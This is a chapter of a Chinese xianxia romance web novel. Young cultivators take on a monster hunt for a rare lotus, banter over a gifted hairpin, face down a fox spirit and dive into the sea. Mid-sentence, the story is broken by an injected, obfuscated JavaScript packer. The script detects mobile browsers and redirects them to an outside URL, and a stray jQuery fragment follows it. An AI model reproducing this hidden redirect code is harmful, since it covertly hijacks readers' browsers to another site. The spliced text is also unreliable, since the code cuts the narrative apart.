“那我要你们永远都留在这里,如何?”
周既明脸色一变。
女子轻笑,“公子莫要为难,我方才是说笑的!”
“这七霞莲确实珍贵,不过,前些日子正是百年期限,圣池中恰巧又开了一朵。”
周既明眼前一亮,“那——”
“不过嘛——”女子将他的话打断,“我需要诸位替我做一件事,事成之后,我不夜天方可将七霞莲奉上。”
六人一妖回到了东洛,准备去往无妄海。
两日后的子时,无妄海上将会开启通往幻市蜃楼的大门,他们需要在幻市中替不夜天寻一人。
与其说是人,倒不如说是个怪物。
不夜天虽权力巨大,但这怪物隐藏在市井之中,接连好几个月,不夜天派出去的弟子竟无一人寻到他的气息。
如今,幻市蜃楼大门将开,而这个怪物需要每隔一段时日回到幻市蜃楼吸收灵气才能存活。
因此,不论他在哪,他必定会再次回到幻市蜃楼巩固灵气。
不夜天已经加派人手寻这怪物的踪迹。
但毕竟,百年期限已至,前来幻市蜃楼的人与妖更是数不胜数,这怪物也会刻意躲开不夜天众人的巡察。所以让与不夜天毫无关系的六人去抓住他,是最好的抉择。
他们需要不动声色地寻到这个怪物,再取到他的内丹,便可换得七霞莲。
一路上,周既明倒是开朗了许多,与顾蘅叽叽喳喳了一路,吵得谢到源恨不得离得二人远远的。
姜念水小跑几步与他并排而行。
她取下发髻间的白玉簪,凑在谢到源眼前,“师兄,这是你特意给我买的吗?”
谢到源眼眸闪了闪,“我坐在一楼,那女子在我耳边叽叽喳喳个不停,我便顺手买下它,只为图个安静罢了。”
姜念水侧头观察着他的神情,师兄哪里都好,就是说谎的时候耳朵会变红。
“其实,我也不是很喜欢这簪子,那日也只不过是随手拿起来看看。”姜念水指着簪头粉蝶,“师兄你看,这粉蝶一点儿也不好看。”
“怎、怎么不好看!”谢到源一急,伸手便想夺过簪子。
姜念水一躲,旋身面对着他,将发簪别在头上,“师兄怎么急了,我话还没说完呢!”
她朝着他笑笑,“不过,戴在我的头上,倒是变好看了不少。”
“师兄,你眼光不错!”
谢到源看着眼前笑得明媚的人儿,她发间的粉蝶随着她的动作不断摆动,像极了她那日在青鸾峰朝他跑来的那刻。
她就如蝴蝶一般灵动。
不,她比蝴蝶更美好。
谢到源笑了。
夕阳下,他看到了比阳光更美好、更珍贵的东西。
他喜欢她的笑。
他喜欢她对他笑。
看着面前朝她勾起嘴角的男子,姜念水忽然觉得有些瘆得慌。
师兄怎么忽然笑了?
师兄怎么笑得如此诡异?
莫不是她刚刚说的话刺激到他了?
可她方才明明在夸他眼光好。
姜念水伸手在他面前摆了摆,谢到源顿时回过神来,敛起嘴角。
“师兄,我是说错话了吗?”
面前少女紧紧盯着自己的眼睛,谢到源仿佛被这双灵动的眸子摄入了心魂。
他只觉得心口在剧烈地跳动,他的心仿佛不受控制一般要跳出来了。
谢到源摇摇头,他这是怎么了?
“师兄?谢师兄?谢——到——”
“你们说什么呢!”
姜念水被突如其来的声音吓了一跳。
谢到源回过神来,扭头看着追上来的顾蘅。
顾蘅目光在二人之间不断游走,“你们偷偷说什么呢?”
“没什么啊!”姜念水指着发间玉簪,“好看吗?这可是师兄给我买的!”
“师兄给你买的?!”
顾蘅一脸不可置信,瞪大眼盯着谢到源,“师兄,我怎么没有?”
谢到源无语地看了他一眼,“你也要簪子?”
“那倒是…不必了。”
顾蘅将姜念水拉到一边,一脸探究地问:“小师妹,你莫不是抓住了师兄哪些把柄,他怎会给你买东西?你俩之前不是老不对付吗,你不是还骂他是瘟——唔唔……”
姜念水一把捂住顾蘅的嘴,偏头看了一眼正低头不知道想什么的谢到源,“你说这么大声,万一被师兄听到了,他生气了怎么办!”
“还有,这可不是普通的簪子,这是我练功的灵器!”
姜念水拔下簪子递给顾蘅。
“还记得前些日子师兄教给我们的法术吗,就是将灵器化作手中武器,那日在幻境中我们的佩剑不在身边,我在这簪子中注入了灵力,把簪子化作冰锥,这才制住了那犬妖。”
“原来是这样,怪不得我觉得这簪子在手里凉凉的,搞半天原来是个冰锥啊!”顾蘅眼珠转转,“不如,师妹你把这个簪子送给我,我正好缺个法器,我——”
“休想!”
姜念水一把夺回来玉簪小心翼翼地别在头上,“你一个大男人,戴什么簪子!再者说,你会用吗你!”
“不给就不给,我还不稀得要呢!况且——”顾蘅撇撇嘴,凑近身旁摇着脑袋朝他炫耀的女子低声道:“你这玉簪真丑!”
“你说什么?!”
姜念水抡紧拳头,眼前的男人一溜烟便跑开了。
“你再说一遍!”
“师兄,顾蘅说你的簪子丑!!!”
临近朔日,街上多了许多外地生人,花妖坐在宗南玉肩上,好奇地四处瞅瞅。
谢到源观察着周围的人群,他们虽刻意伪装气息,但还是被他嗅出一缕妖气。
周围的过路人彼此互相打量,隐隐间,谢到源觉得暗处有一目光在紧紧地跟随着他们。
众人回到客栈,谢到源铺开舆图,师尊虽吩咐过他要远离幻市蜃楼,可这舆图的标记却落在了无妄海附近。
或许,冥冥之中早已注定,他们必须要入这幻市蜃楼。
次日一早,众人刚出了客栈大门,就被眼前的景象吓了一跳。
昨日熙熙攘攘的大街,今日却变得空空荡荡,一夜之间,几乎所有的人都踏上了去往无妄海的道路。
“这该怎么找!”
看着眼前乌泱泱的人群,顾蘅用力地咬下一口苹果。
“那不夜天宗主也不说是给我们个提示什么的,这倒好,别说是找人了,这么挤,我们连门都看不见!”
像是要迎合他的话似的,前面的人群开始推搡。
只是,不一会,几人面前便被腾出一条空道。
几个身着白色道袍的男子挥了挥拂尘,道路便又变宽了些。
“真是群莽夫,还妄想找到幻市蜃楼的入口,简直痴人说梦!”
为首的男子鄙夷地看着周围被驱散开来的人群,这些人一身粗布麻衣,明明法力低微得不行,甚至有些根本不会法术,还偏要挤在前面同他们争,真是不怕死!
不对劲,这味道一点也不对劲!
姜念水好奇地盯着前面的男人,食指顺着动作轻轻点在眉间。
男子忽然察觉到她的目光,朝着姜念水恶狠狠地骂道:“你看什么看!”
“没…没什么……”
好生霸道的小狐狸!
不!是老狐狸!
“怎么了?”谢到源看向对面的男子。
姜念水朝着谢到源吐吐舌头,嘴角向下撇了撇,“没什么,就是一只脾气火爆的老狐狸!”
谢到源挑挑眉,“不错,有点进步。”
她朝着谢到源做了个鬼脸,心里却默默腹诽:这狐狸的脾气比师兄的还爆!这么一对比,师兄还蛮可爱的。
姜念水转过身去,谢到源却被她的鬼脸逗笑了。
安静的角落中,传来了一声轻笑。
空气愈发凝固住了。
姜念水看着面前嘴角抽搐着的男人愈发觉得奇怪。
师兄莫不是真的傻了,这种场合还能笑出来!
“你笑什么笑!”
白谷甩着拂尘走来,这是他第一次这么不被人尊重!
先是这个小姑娘一直没礼貌地盯着他看,又是这个男人朝他冷声嗤笑!
果然,这些凡人都不是什么好东西!
“就是你!你刚刚在笑什么!”
谢到源眼底露出一丝疑惑:他刚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568867|169219||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刚笑了吗?
眼前的老狐狸来者不善,身后还跟着一群狐狸小跟班,若是闹起来,定要费一些时间。
姜念水伸手捏了捏谢到源的胳膊,示意他先不要轻举妄动。
谢到源觉得胳膊一痛,皱了皱眉。
对面的白谷见状,更是觉得又被冒犯到——这人不仅不把他放在眼里,还敢不屑于他!
眼看老狐狸要火冒三丈,姜念水急中生智,想到了个好办法——
只见她一把推开打算上前叫嚣的顾蘅,紧接着挡在谢到源身前开口道:“他是个哑巴,不会说话!”
哑巴?
谢到源看着身前那个圆润的后脑勺,不解皱眉:哑巴?
“哑巴?”
一旁的几人也露出了疑惑的表情。
顾蘅看了看对面几个盛气凌人的白衣男子,朝着他们点了点头,“对,他是个哑巴,不会说话!”
“是个哑巴?”
白谷看着面无表情的男子,他目光呆呆地盯着前面,嘴角不断抽搐,看来是想说些什么却说不出口。
白谷摇摇头,他可真是该死啊!
哑巴已经够可怜了,他还跟一个哑巴置什么气!
他抖抖手中的拂尘,飞快地看了一眼谢到源便急急扭过身子,“罢了罢了,既是哑巴,我便原谅你们了!”
姜念水和顾蘅对视道:“没想到,这狐狸还挺善良!”
“师兄,若不是我想到了这个好办法,他怎么可能轻易离开!你说对吧,师兄!师兄?师——”
身后大半天没人吭声,姜念水扭头便对上一双幽黑的眸子,谢到源正用幽怨的眼神紧紧盯着她。
“我现在应该是个哑巴。”
“哈哈……”
姜念水僵硬地扭过脑袋,与顾蘅缩在一边。
“师兄这是入戏太深。”
咸腥的海风吹散了人群,姜念水靠在孟怀姜肩上,看着她摆弄着手中的罗盘。
“那,大门应该在哪呢?”
“现在是戌时三刻,奎木狼入毕月乌。”孟怀姜又翻开泛黄的海图,二十八宿的标记与五年前十月的那场幻市蜃楼开启的记录重叠,“按照《海市志》推算,这次的大门该在那里。”
姜念水顺着她的指尖看去,只见礁石上站着一袭黑色身影,男子目视远方,他脸色清癯,长身玉立,一头乌黑的头发随着海风轻扬,远远看着,宛如古画中的玉面公子,与那蔚蓝的大海融为一体。
“念水,我们去找谢师兄吧。”
孟怀姜拉起她,二人朝着谢到源处走去。
“谢师兄,我方才用罗盘和海图推算到,此次幻市蜃楼的大门就在我们身后的海上。”
几人身后,海面不断涌起浪花,天色渐渐阴沉下来,海风夹杂着阵阵凉意卷来。
“入口在海上?”谢到源看向不断翻滚着的海面。
孟怀姜点点头,将手中海图递给他。
“这个《海市志》是花妖从东洛书阁里偷出来的,我看了一下,应该是真的。之前的入口大多都在岸上,而从这次的天象来看,这次与五年前的一次情况很像,所以我推测,入口也像之前一样,在海上。”
“只不过,”孟怀姜顿顿,看向身旁的几人,“入口不一定在海上,还可能在海里,子时一到,我们便入海。”
谢到源从袖中取出六个铃铛,“入海后紧紧握紧铃铛,刚下海免不了是场恶斗,若是遇险,摇动铃铛,我会去寻你们。”
话音刚落,整片海滩突然开始沸腾,远处不少人朝着这里奔来。
身后,海面忽然扬起,距离岸边百丈处的海面开始卷起漩涡。
六人对视一眼,御剑飞至漩涡上空。
六道黑影迎着海风坠入漩涡中,身后跟着几道白色身影。
子时一刻,海面霎时平静,海岸上,一群人遥遥望着已经平复的海面深处,露出无奈的神情。
姜念水潜入深海,却迟迟未能找到大门。
四周一片黑暗,她听不到任何声音,也看不到任何人。
下潜了半刻钟,眼前忽然出现一道白光,姜念水心中一喜,朝着光亮处游去。
在她伸手触到光亮的一瞬间,手中铃铛忽然发出剧烈声响。